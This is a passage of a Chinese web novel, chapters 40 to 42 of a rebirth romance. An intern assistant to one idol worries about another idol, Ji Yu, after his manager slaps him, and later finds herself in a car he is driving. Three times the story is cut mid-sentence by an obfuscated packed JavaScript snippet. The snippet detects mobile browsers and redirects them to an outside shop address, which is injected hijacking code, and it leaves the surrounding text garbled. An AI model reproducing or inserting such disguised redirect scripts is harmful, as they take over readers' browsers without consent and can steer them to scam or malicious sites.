“啥!!什么?!你见顾蓝了?!”晓春瞬间瞪大了眼睛,作为顾蓝的新晋狂热粉丝,这个消息让她跳了起来,“这么好的事你怎么不叫我啊啊啊!林定你还是不是我的好闺蜜了呜呜呜!!!”晓春哀嚎,一屁股坐在了沙发上,委屈地盯着林定,“我在公司,连顾蓝的影子都没见过!好烦我们人力资源部门和他们不是一个楼层,上楼还要刷卡,我没有他们那一层的楼层权限……呜呜呜呜呜呜呜,你和他们吃饭了?” “没有……就在一个爵士乐酒吧坐了一会儿。”林定声音有些哑。 晓春察觉到林定的情绪不对了。她看着林定有些苍白的脸,花痴心立刻被担忧取代了。她给林定倒了一杯温水,递到她手里,看她喝下后,才重新开口问道:“林小定,到底怎么了?见到纪屿,你不应该开心才对吗?” 林定叹了口气,把脸埋进了靠枕里。 开心?是啊,见她的星星,她明明应该开心才对,可如今她的心情却是这般一片狼藉。“晓春,我也不知道我做的对不对……”她声音闷闷的,“我把他也弄得不开心了……我说了好多……可能不该说的话。” 晓春听得云里雾里的,“宝,你是喝多了吧?” “我没喝酒,他们给我点的是没有酒精的饮料。” 晓春看着林定这么恍惚,她自然是不信的,不过看好友情绪这么低落,她有些心疼,便没再追问,只归因于“上班太累加上见到偶像心情复杂”。 她又倒了杯温水塞进林定手里,像安抚小宝贝般拍拍她的背:“好啦,别想太多。洗个热水澡,早点睡觉,明天就会好起来啦!” * 这一夜,林定睡得并不安稳。但第二天闹钟响起时,她也有准时起床,准时出门,准时挤上地铁,准时走进欣喜娱乐的大楼,准时打卡。 生活还要继续,甚至表面上,一切似乎正在朝着好的方向发展。 工作间隙,她会登陆上那个名为“热爱屿林”的账号,卖力地为纪屿即将参加的《S+演唱荟》预热,制作美图和粉丝向安利视频,将其他粉丝的期待值拉地满满的。她的小说连载情况也很乐观,读者反响热烈,评论区满是催促更新的声音,口碑大幅度提升。她每天仍然会留意那些尚未大红,但前世未来会爆火的明星动态,悄悄原价购入他们的专辑和一些正版周边,持续推进她的“爆金币计划”。 当然,她还买了不少成子秋的专辑,因为她知道,成子秋未来会很红。 红到,成为她偶像最有力的竞争对手。 她的生活确实有在她计划的轨道上平稳行驶。 有收入,有目标,有成长。 好像,只是少了和纪屿的联系。 而已。 这个念头,在某些时候会突然冒出来,给她带来一阵无声的难过。 * 距离《S+演唱荟》正式录制还有大半个月。这段时间里,林定有在观察成子秋,且愈发深入。 她发现,成子秋是一个极其自律的艺人。不管刮风下雨,还是通告多多,他每天都会早起健身两小时,吃的永远是精确计算过卡路里的健身减脂餐。 以上,都是公司要求他的,经纪人给他下的死命令,为了让他以最完美的身材状态亮相综艺。 说好听,是自律,但林定渐渐觉得,成子秋更像是一个高度服从指令的公司产品。公司为他规划的歌唱路线、给他接的广告商务、每日食谱……他从未提出过异议,永远都点头接受。 他好像除了工作就没有别的生活。 没有工作外的社交,没有什么喜好,甚至很少真心的笑。 重新上班后,林定难免总是会想起自己前世的上司付天,一想到就犯恶心。付天总是摆她那趾高气扬的臭架子,说着一嘴没有内核的黑话,动不动就PUA贬低打压她。 反观现在…… 抛开林定眼中的“对家”滤镜,纯粹作为上司而言……成子秋其实是个不错的上司。 他对林定的吩咐都很清晰,从不说废话,也不会自吹自擂。也许他本身就是个淡人?林定觉得他像一汪从来不起波澜的水,没情绪,没脾气。 这让林定工作起来挺省心的。 这个月,林定请了几天假去考驾照,成子秋批假都很爽快。但是,林定考完科目二的那天下午,她本来打算回家睡大觉的,没想到竟然接到了经纪人电话,语气不友善地跟她说:“你考完还是回公司吧,成子秋老师下午还有个拍摄,需要人跟啊。不能因为你考试就耽误工作,对不对?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16959718|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林定心里忍不住对经纪人一顿咒骂,但还是灰溜溜地回公司去了。成子秋见到她时有些惊讶,皱了皱眉,问道:“你不是请假去考试了吗,怎么回来了?” “经纪人老师说下午有拍摄,让我考完就回来。”林定老实回答道。 成子秋闻言,很难得地露出了不悦的情绪:“你的假是我批的。以后我批了假你就可以放一天,你只是实习生,没必要对公司这么尽心。”说完后,他好像发觉了自己言多必失,不再言其他,只轻轻补充道:“这话我只说一次,以后你自己注意。” “哦哦。” 但那一刻,林定心里却产生了微妙的想法。 也许,从前那些……并非出自他的本意?她回想起前世那些针对纪屿的黑稿和拉踩,手段并不高明,甚至简单粗暴。再看看眼前这个连自己日程都不能做主的“牵线木偶” ……他真的会是幕后主使吗? 她不愿冤枉人,但也不会轻易放松警惕。 真相,大概还需要更长时间的观察吧。 * 随着相处变长,一些微妙的变化也在林定不知道的地方悄然发生。 有一天,林定去公司健身房给成子秋送新的行程安排。公司正好在停电检修,大夏天的也没个空调,热得要死。推门进去时,成子秋刚结束一组背部力量训练,正背对着她用毛巾擦汗。他没有穿上衣,流畅而美好的肌肉线条在透过玻璃的自然光下泛着健康的光泽。 林定的脚步顿了一下。 纯粹以欣赏娱乐圈男明星出色外形的眼光,她非常客观地在心里给他打了个很高的分数。 这家伙,练的是真不错啊。 成子秋似有所感,忽然转过身。看到是她,很明显地怔了一下,随即那张白皙的脸上,竟浮起一层很淡很淡的红晕,一直漫到了耳根处。 他有些仓促地抓过搭在一旁器械上的衣服,迅速套上,狼狈的动作快得与平日里从容的他不相符合。 “你看什么?”他系好扣子,抬起眼,语气试图平静下来,眼神有些些不易察觉的闪躲。 林定可没察觉到他的异样。 她挠挠头,很自然地说,语气十分真诚:“成老师,你练得真好。线条漂亮,体脂率肯定很好……”她甚至思考了一下,顺口提议道,“其实,你可以考虑在社交平台分享一些健身日常?粉丝肯定会喜欢的呀。” 成子秋听着她认真的夸赞和建议,眼底那点窘迫慢慢化开,似乎闪过了微弱的愉悦。 但下一秒,那光亮便淡下去了。 他对她抱歉地笑笑,摇了摇头,语气恢复往日的平淡,有些无奈:“这种话以后不要说了。公司,经纪人,都没有给我安排这类内容。” 林定看着他瞬间收敛的情绪,有些无语,又有些不是滋味。 果然是这样吗,成子秋连在社交平台分享什么,都不是他自己能决定的。 他不能决定,还是不敢决定? 她对眼前这个未来对手,生出了怜悯。 她耸耸肩,不再多言,给他递上了行程表,转身就退出了健身房。 门轻轻关上。 成子秋独自站在器械旁。 她又是这个眼神。她为什么总是这样看我? 40.40 红痕 林定关上了健身房的门。还好这大半个月的时间,成子秋都没有外地的通告,他作息规律,饮食严格,在养好状态身材也没什么打通宵熬大夜的工作,连带着林定的助理生活也比预期轻松很多,至少不用跟着熬大夜连轴转,林定觉得自己的实习日子比晓春舒坦多了。看着晓春在天天吐槽被问鼎娱乐压榨到灵魂出窍,林定每天都在暗暗庆幸。 没走出几步,她就听到身后传来一声: “林定!” 她回头,见成子秋拉开了健身房的门,他头发随意抓了下,与平日的刘海造型不同,露出了好看的额头。 他朝她走了过来。 林定前世也健身过,对健身房男人的汗味记忆瞬间复苏,身体比脑子更快,下意识地往后挪了半步。 成子秋的脚步顿了一下,目光在她后退的鞋头上停留了一瞬,眼底那点细微光亮,悄然暗了好几分。 但他很快就收起了情绪,语气也平静。 “你重新梳理一下几个主要对手的资料,尤其是他们的演唱风格。录制前我需要再强化一下感知。这两天抽空,我们详细对一下。” “好的。”林定点头应下,拿出手机准备做个备忘录。 成子秋那双好看的眼睛看着她,看得林定有些不自在,导致她拿着手机的手微微紧了紧。他顿了顿,又补充道: “另外。从明天开始,你跟我一起来健身房。” 林定猛地抬起头,一脸错愕:“……什么?” “经纪人提过好几次,担心我独自训练时发力不当受伤。”成子秋语气平淡,理由听起来充分,“以后你跟着,可以帮忙看着点。” “成老师,我记得你有私教……?” 成子秋挑挑眉,林定尴尬的笑了一下,自知自己在反问上司……关键是上司的要求其实并不是很过分……她痛苦的想,这意味着她宝贵的、能稍微晚起一点的清晨时光即将彻底终结!还要近距离观摩他健身,真是够无聊的…… 这该死的成子秋啊!每次她觉得他有点好的时候,事实都会告诉她,他果然不是什么好人…… 她内心哀嚎,脸上却只能平静地点了点头,“好的成老师,我明天会来的。” 见她应下,成子秋唇角弯了一下,那点因她后退而生的不快已然消失。 “记得准备适合运动的衣服,”他提醒道,“明天开始跟我一起练。” 林定脸上的肌肉抽动了一下,脑袋空空。她难以置信地回答道:“成老师,我……我就不了……我在旁边看着您就行……” “是你刚才说的,”成子秋打断她,笑了笑,淡淡开口,“你说,线条漂亮,体脂率控制得好,还提议我分享心得体会。” 他看着她瞪大的眼睛,笑容更深,在灯光下,好看得晃眼了,但此刻的林定无心欣赏帅哥,她心里一万只草泥马在奔腾着呢,哪里会觉得他好看? “我也没有教过别人,怎么知道我的方法是不是可行的,教得好不好。” 他微微倾身,语气介于认真和玩笑之间: “所以,先教你看看成果。” 恰好这时,另一个部门的女实习生陪着自家艺人路过,听到了后半句,立刻羡慕地惊呼起来:“哇!小林你也太幸运了吧!成子秋老师亲自指导你健身啊!” 林定痛苦极了。 她迎着成子秋那双等待答复的笑眼,只能咬咬牙,配上假得不能再假的微笑,回答道:“……行。” 成子秋满意了。他没再多说一个字,直接迈开长腿,从她身边走去,带起一阵微风。林定以为自己要闻到该死的异味了,没想到却只闻到一阵很清爽的的淡淡香气,十分干净。 靠…… 她站在原地,气的想跺脚。 才刚说自己的日子比晓春舒坦,现在倒好了?!! 她气呼呼地打开手机,手指用力戳着屏幕,给邓晓春发了条带着一串感叹号的微信: 你今晚加不加班?!别加了!不准加!!下班后!!立刻!!出发!!陪本小姐去买衣服!!!!!啊啊啊啊! * 商场里灯火通明。 邓晓春吃着冰淇淋,看着林定在运动品牌店里挑挑拣拣,一脸的不解:“所以你买运动服干嘛?你们公司现在要求助理上班要穿运动服吗?搞公司运动会还是咋的?” “还不是那个该死的成子秋!”林定把一件运动速干T恤拿了下来,放在手里,哀嚎道,“让我明天开始,每天早上跟他一起去健身房……还要跟着他健身,真的是绝了。” “哇!”晓春眼睛一亮,“还有这种福利?近距离欣赏美男健身诶,可不是美滋滋的差事嘛……” “福利个鬼!”林定瞪她,“你知道他每天几点开始练吗?还练两小时!这意味着我最晚七点半就得出现在健身房。我的懒觉呢!我的睡眠呢!” “你就知足吧。”晓春无语的翻了个白眼,“那可是公司给明星配置的私人健身房诶,器械和环境都是顶配,省了你多少健身卡的钱,还能顺带塑形,换作是我,我都笑死了……” 林定抱着选好的衣服走到收银台,干巴巴地反驳:“我只想多睡一会儿。眼看那综艺就快要开始录了,到时候肯定天天熬夜天天通宵,现在正是补觉储能的好时候……” 结完账,她把袋子塞给晓春拎着,继续抱怨。晓春把冰淇淋丢到垃圾桶,然后忽然想起什么,回到林定身边,有点含糊地说:“对了,我想起了我今天上班,碰到顾蓝和纪屿了。” 林定的心跳好像瞬间停止了节拍,脚步不由自主地放慢下来:“啊……那挺好的,你不是想见到顾蓝嘛。” “嗯……但不是普通的碰到。”晓春的语气严肃了些,她左右看了看,压低了声音,“他们俩……今天在大吵了一架,声音大到好几个楼层都听到了,惊动了好多人,还有公司领导。” “吵什么?”林定忍不住追问,抓着新衣服袋子的手紧了些。 “具体吵什么我不清楚,只听到很大声,但是断断续续。但后来……”晓春犹豫了一下,还是说了出来,“公司大概是觉得顾蓝已经是出道的明星了,就没有怎么训诫他,反而是单独把纪屿叫去高层办公室谈话了。” 林定的呼吸窒住了。 想起了前世,被爆出问鼎娱乐雪藏他的专辑……纪屿现在还不是公司的红人,受到的欺压肯定比前世顶流时期还多。她呼了一口气,瞬间又觉得自己无能,帮不上什么忙。 邓晓春看着她瞬间不好的脸色,拍了拍她的肩膀,有些不忍心,但还是决定把一切都告诉她:“我……我后来和部门同事去开会,他们谈笑间说到,正好有个同事在厕所蹲坑的时候,撞见了厕所里发生了很大的事情……他们说,好像……好像是有人,在厕所里打了一个新人一巴掌……” 她顿了顿,几乎是用气音吐出了那个残忍的猜测: “他们说……好像……被打脸的人是……是纪屿。” 林定停下脚步,手里的购物袋“啪”地一声掉在了地上。 商场喧嚣的背景音,从她耳畔褪去,她只觉得耳边在嗡嗡作响,血液凝固。 晓春担忧地看着她煞白的脸:“定定……你还好吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16970349|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林定没有回答。她只是僵硬地站在原地,望着商场玻璃窗外面沉沉的夜色。 心脏跳动的声音,也很清晰。 她深深地吸进一口气,再缓慢吐出。 重新抬起头时,脸上的血色尚未恢复,可眼神却变得冰冷如刃。 “谁打的?”她开口,声音平静得让晓春感到有些可怕。 晓春回答道:“听说是……他的经纪人,小张。” * 深夜,林定蜷缩在自己小出租屋的床边,笔记本电脑屏幕的光冰冰冷冷地照在她脸上。 她正在刷新着纪屿的粉丝站子,最新的下班图里,他戴着帽子,快步行走,但站姐的高清镜头依然拍摄到了他的侧脸处,那里有一块不正常的,没有完全消退的红痕。 粉丝们忧心忡忡地猜测着。 “哥哥脸怎么了?” “看着像是过敏了?” “看着好心疼啊,我们哥哥吃错什么东西了嘛?” 那不是过敏。林定盯着那块刺目的红色印记,有些透不过气来。 她拿起手机,纠结了很久很久,最终还是点开了顾蓝的微信对话框。爵士酒吧那晚,他们加上了微信,却从未说过话。 她在输入框里反复删删改改,总觉得不太合适。 最终,她放弃了文字信息,按下了语音通话的请求。 铃声响了很久,久到林定几乎要放弃时,才被接通了。 “喂?”顾蓝的声音传来,背景有些吵闹,似乎是在外面。 “顾蓝哥,是我……现在方便吗?我想,问你点事。”她努力地让自己的声音听起来十分平静。 “可以啊,怎么了?”顾蓝的语气听起来还算正常。 “我想问问你,纪屿他今天……”林定纠结着,斟酌着她的措辞。 “你不是有他微信吗?”顾蓝打断了她,语气里带了一丝不悦,林定猜测是白天争吵的余波未消失,“他的事,你怎么跑来问我啦?” 林定难受了一下,立刻解释道:“嗯……你也知道,我现在是成子秋的实习助理,他们马上要录节目了,还是竞争对手。我直接联系他……好像不太合适。” “噢,也对。”顾蓝的语气慢慢的,“那你问吧,什么事?” 林定抿了抿唇:“我在微博上,看到他今天下班的路透图了。脸上有点红,看着像是过敏了?他……没事吧?” 电话那头忽然传来一阵窸窸窣窣的杂音,像是手机被拿远了,又像是有人在低声说话。 林定疑惑地皱了皱眉。 紧接着,她听到顾蓝提高了声音,对着旁边说:“喂,你说话啊!你家定定小姑娘正关心你呢,问你还好吗?” 林定僵在了床上。 电话那头安静了几秒,然后,顾蓝的声音再次传来,语调像是憋着笑,有点古怪:“我看他啊……不太好哦。你要不要……自己过来看看?我们在新秀小区,8栋楼下的药店。” 话音刚落,通话便被地挂断了。 药店……? 林定盯着暗下去的手机屏幕,愣了两秒,然后猛地从床上弹了起来。她大脑一片空白,只剩下顾蓝的那句“不太好”。 她冲到衣柜前,看也不看,随手扯出一件皱巴巴的旧T恤和一条运动裤,胡乱套上。脚上还穿着家里的拖鞋,就一把抓起手机和钥匙,拉开门,不顾晓春的询问,冲进了浓重的夜色里。 晚风带着凉意扑面而来,吹乱了她来不及梳理的头发。 至于明天要早起陪成子秋健身的事,早已被抛到了九霄云外。 41.41 拧巴罪 出租车穿梭过深夜的大街小巷,拐进了一条与林定预想中截然不同的道路。她付钱下车的时候,愣住了。 眼前并不是成子秋所住的那种高档住宅区,而是一个布满岁月痕迹的老旧居民区。小区外面那条灯火通明的宵夜街,十分引人注目。空气里弥漫着炭火炙烤的味道,还有香喷喷的锅气,这别具一格的夜风吹在人身上,让林定感到有些饿了。花花绿绿的招牌十分接地气,招牌的灯光将街道照亮,外摆的桌椅差一些就占满了人行道,谈笑声、碰杯声和锅铲声交织在一起,给这条街道配上了独一份的背景声。 林定有一瞬间觉得司机是不是开错路了。顾蓝和纪屿……会在这里吗? 她按下心头焦躁,在拥挤的桌椅间穿行,目光扫过每一家店面。找了半天,终于在两家人气火爆的烧烤店中间,看到了一家小小的药店。 药店门牌上的灯管坏了几处,一闪一闪断断续续。店内灯光昏暗,与附近食肆的热闹相比,显得格外冷清。 柜台后,一个五六十岁的阿姨正低头刷着手机,外放的声音很响很吵。见到林定,她抬起眼皮,语气不耐烦:“买什么药?” 林定快速朝店内的货架后方扫了一眼,空无一人。她呼了一口气,挂上了礼貌的微笑:“姐姐,请问一下,刚才是不是有两个挺高的帅哥来买过药?您知道他们往哪边走了吗?” “姐姐”这个称呼似乎取悦了对方,那阿姨脸色缓和了不少,再听到“帅哥”,眼睛就又亮了亮,笑道:“哦,你说两个帅哥啊……刚才是有两个很帅的呢。来过的,差不多半个钟前吧。买了碘伏棉签和……呃,反正是处理小伤口的药啦。他们没待多久就走了,我不知道他们去哪啊。” 半小时……那也是,林定挂电话后来这都要半小时车程了,正常来说,也不会有人在药店逗留这么久,林定道了谢后退出药店。她没犹豫,直接拿出手机,重新拨通了顾蓝的语音通话。 微信自带的语音铃声提示音,从隔壁烧烤店外摆桌那钻了出来。 林定猛地回头,循声望去。只见不远处一张支着绿色塑料棚的圆桌旁,一个穿着脏粉色T恤的背影正对着满桌食物,手机屏幕亮着。 是顾蓝。 她挂断已经接通的电话,快步走了过去。 顾蓝的手机还举在耳边,察觉到身侧有人,便转过头。看到是林定,他脸上闪过些惊讶,随即咧开嘴,他那阳光型帅哥的标准笑容浮现出来:“嘿,你来得好快啊。” 他眼底有血丝,大概是成团后工作很忙碌,整个人都显得很疲惫。 林定焦虑地扫过他周围,想看到那个她想见的人。 可却让她失望了。 “顾蓝哥,”她声音不大不小,带着一路疾走后的微喘,“纪屿呢?他在……在哪?” 顾蓝指了指旁边的空凳,示意她坐,然后才重重地叹了口气,带着明显的无奈,“他啊……听见我说你要来,他就走咯。我有帮你拦的,可拽都拽不住。”他耸耸肩,观察着林定瞬间暗淡下去的脸色,他语气一转,带着些探究问道,“所以,你俩真吵架啦?在酒吧那天吵的?” 林定心乱如麻,听到酒吧二个字,更觉得呼吸不畅。 她没直接回答,反而脱口而出:“今天不是你们俩在公司吵得很厉害吗?” 顾蓝明显愣了一下,拿着烤串的手就停在了半空,疑惑地挑起了眉:“你是怎么知道的?”他眼神里多了些谨慎,半开玩笑,半是认真的语气道,“不是吧,你们欣喜娱乐派了间谍潜伏在我们公司了?连艺人吵架都被监控了么?” 话一出口,林定就后悔了,她只好用吐槽的语气掩饰道:“想多啦顾蓝哥,你团现在还没红到需要竞争对手派卧底监视的地步吧?” “啧啧,扎心了啊林助理。”顾蓝哼了一声,但仍盯着她,眼神里的疑虑并没有消失。 林定知道这下她必须给到合理的解释,于是她语气软下来:“是我闺蜜啦,她在你们公司人力资源部实习呢。她和我住一起嘛,今晚碰巧跟我提了一句而已。” 她在心里对晓春默默地疯狂道歉。 “闺蜜啊……”顾蓝神色放松了,点了点头。他重新拿起一串烤鱿鱼,语气恢复了之前的随意,“兄弟之间,有点摩擦很正常啦,拌几句嘴呗。吃顿烧烤,还有啥事过不去呢。”他用指了指满桌食物,“结果你电话一来,他就要走。无语咯,这么多,我一个人哪里吃的下。你帮忙解决点呗。” 林定心下难受,哪能有胃口呢。她摇了摇头,直接道:“你们刚才去药店,买什么药了?他脸上,真的只是过敏吗?” 顾蓝放下了烤串,抽了张纸巾擦了擦手,打趣道:“你都从线人那儿听到风声了,还跟我这儿绕圈子,拐弯抹角。”他抬眼,看向林定,那双平时总是盛满笑意的眼睛里,此刻显得格外深邃,“你直接问吧。” 林定叹了口气,沉了一沉,声音有点冷:“那个人渣,为什么打他?” “人渣?”顾蓝被这个充满敌意的称呼逗乐了,没忍住笑了一声,“哇塞……你这词用的。你这话要是让他听见,”他朝纪屿离开的方向,偏了偏头,“得多高兴啊。”他身体微微前倾,又拿了串牛肉串,“你都不先问问是怎么回事,是谁的错,就确信是别人欺负他了?还替他骂上了?” 林定沉默了。 她当然…… 无条件地站在他那边。 这是她跨越两世的本能。 可这话如何能说出口来? 顾蓝看了她几秒,似乎明白她有些难以言说的原因,不再深究,含糊道:“具体怎么回事,你还是等他自己亲口告诉你吧。有些事,外人说不清,我也只晓得一部分,不好作评论。”他咽下食物,目光瞥过林定的脚,那双居家拖鞋与这环境格格不入。 顾蓝语气轻了些:“我原以为,那天在酒吧,你没跟我打招呼就走了,是在跟他生气……是真的不想再理他了。看来是我想多了。”他顿了顿,声音不大,“看,这不,一听到他有事,你鞋都来不及换,就跑来了。” 心事被戳穿,林定道脸上火辣辣的,有些窘迫得缩了缩脚。 她不仅矛盾拧巴,还言行不一,她自己都有些讨厌自己了。她笔下的小说里,这种自我折磨的角色,都被她安排成爱而不得的怨种男二女二,读者骂几句、为他们流几滴眼泪便搁置一旁了。可当自己活成了这般模样,她才体会到那滋味有多煎熬。想靠近的欲望与该远离的理智纠缠在一起,每一次抉择万般困难。 “我之前就想说了,”顾蓝的声音将她从自我厌弃的思想斗争中拉了出来,“你和他认识也不是一天两天了,从他在唱片店兼职那会儿算起,都很久了吧?真要因为你现在给对家打工就断得干干净净,未免太不近人情了吧。他出国那段日子,你们不也联系着吗?怎么人一回来,反而生分了?换我是他,早气死了,才不理你。” 这番话像把钥匙,打开了林定一直试图锁死的一道门。 她陷入更深的思考。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16980216|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊,如果从一开始就觉得靠近偶像是不妥的行为,她为什么要在唱片店与他熟识,为什么要因为一首歌给评价,又为什么要搭话?如果决心划清界限,那他远在异国的那些日子里,她又为何将一封封邮件,传讯给他呢?那些分享的音乐、心情琐事,难道不都是自己主动递出的吗? 她早已走进了深海中,如今却突然又叫嚷着要回到岸边,矫情地喊着要和他保持距离。在他可能遭受着不公平对待的时候,自己又按捺不住地追过来…… 林定,你到底在做什么?你简直可笑! “喂,别发呆啦。”顾蓝把一盘没动过的烤茄子往她面前推了推,“你吃些呗,我可不敢多吃,经纪人天天盯着我的体重秤呢,胖一斤都能骂我三天。”他的语气哀怨。 林定的视线落到那满满一桌食物上,这些美食都泛着诱人的光,香的很。她想起成子秋那些减脂餐和贵贵的沙拉菜叶子,与眼前这卡路里盛宴对比惨烈。她幽幽地问:“你吃不完……那你大晚上点这么多高热量的东西干嘛?” 多浪费啊! 顾蓝抬眼看她,用怪怪的语气说道:“我接完你电话后,他又返回去跟老板加了好几盘。点完,人就走了。”他顿了顿,又连着打趣,“这不明摆着嘛……是觉得你会饿,给你点的啊。” 她眼睛有点发酸。 她垂下眼睫,盯着桌面的纹理,声音很轻:“那……你帮我谢谢他。” “谢他?”顾蓝夸张地睁大双眼,指着自己说,“大小姐,是小爷我买的单!掏钱的是我呀!” 林定被他逗得笑了一声。“那谢谢你啦,顾蓝哥。”她看着剩下的大量食物,“这些……我能打包带走不?我拿回去给我闺蜜,她肯定没睡,饿着呢,我让她都吃掉。” “哦——给你的线人是吧?”顾蓝拉长了语调,故意眯起了眼,“你告诉我,她是谁?下次让我逮到,可得好好审问审问了,哼。” “就是上次在川菜馆门口接我们的那个女孩子,她叫邓晓春。”林定老实交代,心想,抱歉了我的好闺蜜,再卖你一次……不过,我打包顾蓝买单的宵夜回去,她这个粉丝会笑的睡不着吧……也算是将功赎罪了。 这些东西打包了两个袋子,林定提在手里。她正想向顾蓝道别,却见顾蓝低头看了眼手机屏幕,随即起身,对她说:“走了,我叫司机,送你回去。” “啊?怎么能麻烦你……”林定想拒绝。 “不麻烦啦,司机就在那等着咯。快点来。”顾蓝已经转身往路边走去。 林定只好提着打包袋跟上。夜风一吹,她才感到拖鞋里的脚底冰凉。 走到一辆打着双闪的黑色SUV旁,顾蓝拉开了副驾驶的门,弯腰钻了进去,然后转头对林定示意道:“你坐后面,快上车吧。” 林定应声,拉开后座车门,弯腰坐进去了。车内弥漫着一股熟悉的清爽气息,又混合了极淡的碘伏味。 她下意识地抬起头。 副驾驶的顾蓝,正笑嘻嘻地系安全带。 而驾驶座上…… 那个背影挺拔的人…… 即使只看到后脑勺和半边侧脸轮廓…… 也足够让林定的呼吸停滞。 她僵在了座椅上,无法动弹。 那是……纪屿啊。 她感到脸上发烫,只听见顾蓝用非常愉快的嗓音,对着驾驶座的人叫道: “纪师傅,人齐啦!开车开车!送林定小妹妹安全回家!” 42.42 纪师傅 纪屿一言不发地启动了车子。 车窗隔绝了外面的吵闹,没有人播放车载音乐,车内安静极了。 林定鼓起勇气向前看去,在来往的车灯光影下,纪屿右边的脸是有一些红肿。 她不禁捏紧了拳头。那个张姓经纪人,前世肯定没少欺负他。 他前世到底吃了多少苦,而他的经纪公司又是怎么对他的?他的真正死因,那些被时光掩盖的真相,她大概永远都不会知道了,但没关系,她重活一次,绝对不会让他走上前世的绝路。 她的思绪在痛惜中,目光不由自主地定格在那片红肿上。 就在这时,纪屿忽然抬起了眼。 后视镜里,两个人的目光撞在了一起。 林定呆住了。忽明忽暗的光线下,纪屿的眼睛被她的注视惊起了一汪波澜。他发现了她躲闪的眼神后,他眼里的情绪愈加复杂难辨。 他猛地刹车。 惯性让林定向前一倒,头差点就撞到了顾蓝的座椅后背,她小声地惊呼,心脏狂跳不止。 “我去!大哥你搞什么?”顾蓝也差点磕到,他皱眉埋怨道。 纪屿的目光平视前方,声音听起来没什么情绪:“红灯。”顾蓝抬头看,还真是红灯。 纪屿的声音再度响起,可这回语气却带着点冰冷,“你来干什么?” 林定咬住下唇,这话无疑是对她说的。她深吸了一口气,将一晚上的担忧,凝成一句很轻很轻的疑问:“你的脸……还好吗?” 纪屿握着方向盘的手,收紧了。他的语气难得嘲讽:“我记得,是你说的,我们不熟。” “喂,你这话就……”顾蓝听不下去,有些无语地想打断,可却被纪屿一个没有温度的眼神扫过去, 顾蓝立刻就做了个捂住嘴的动作,索性扭头看窗外,不参与他们的谈话。 绿灯亮起,车子驶动。 纪屿的声音伴随着车子启动的声音传来,直戳林定的心窝:“也是你说的,私下联系,于你于我都不合适。那你今天,又为什么要联系我?” 林定不知道如何解释,她只好挺直腰板,嘴硬道:“……我没联系你啊,我联系的是顾蓝哥。” “噗——”副驾驶传来一声极力压抑的憋笑声。 林定脸颊开始发烫,但又硬着头皮继续追问,语气有些急促了:“所以你的脸怎么了?” 纪屿没有立刻回答,他掉了一个头,而又碰上一个红绿灯。他像是思考了很久后,才轻声反问道:“你又是怎么知道这件事的?” 顾蓝实在是受不了这两人别扭的对话了,于是他忍无可忍地插嘴道:“现在这年头知道点事有什么难的?有心上网一搜,你那些站姐出的高清下班图,你那脸红成那样很难看不出来有事吧!人都专程跑来关心你了,你别在那说有的没的绕弯子了,赶紧的,回答她呗!” 林定心下对顾蓝感激涕零,暗暗发誓,若是以后顾蓝有什么大黑料被爆,她一定会在网上尽一份力帮他怼黑粉! 有心上网一搜…… 这几个字,轻轻落在纪屿心上,而他,心下又默念了几回。 整整一天郁结在胸口的负面情绪,竟奇异地淡去了几分。窗外晃眼的霓虹灯光,原本令他心烦,可此刻,那些大红大紫的光晕好像加上了一层柔和滤镜,竟也显出些好看来。原来,有人会特意去搜,特意去看,特意来问。 他的情绪微微松弛,声音里透出些温度,可依旧语气平平:“我没事。一点擦碰而已。” 说话间,他的目光若有若无地再一次飘向后视镜,镜中的女孩紧张的表情有些别扭,有些好笑,又有点……他嘴角抽了抽,而眼里已经攀上了隐约笑意。 “他为什么打你?”林定不满足于这个模凌两可的回答,追问道。 顾蓝也下意识坐直了身体,竖起耳朵。其实他也好奇具体原因,纪屿也没和他细说。 车子内安静了一瞬。纪屿握着方向盘的手指,轻轻上下摩擦了几下,像是在思酌。 “很多原因。”他犹豫了一下,开口道,是终止话题的语气。这涉及到太多事,包括他重生以来重新铺的路、与公司的斗争,甚至一些还未浮出水面的危险。顾蓝日后还要与问鼎娱乐打交道,把事情在他面前摊开,并不是明智的选择。 顾蓝点点头,并不强求,重新靠回椅背。 林定“噢噢”了一声。其实看到他状态尚可,她悬着的心就已经落下来了许多。至于原因和真相……她的眸色渐冷。 不重要。 她也不需要知道那个经纪人打他的原因,总而言之,这个巴掌她一定不会让他白受,终有一日她会十倍百倍的将这个巴掌带来的疼痛,还给那个姓张的经纪人。 车子安静地行驶了好一会儿。 “咦?”顾蓝疑惑地看向窗外:“不是,哥们儿,这条路,咱们刚才是不是走过了?这路口和这广告牌我看着很眼熟啊!你该不会是不认路,在这瞎转瞎开吧?” 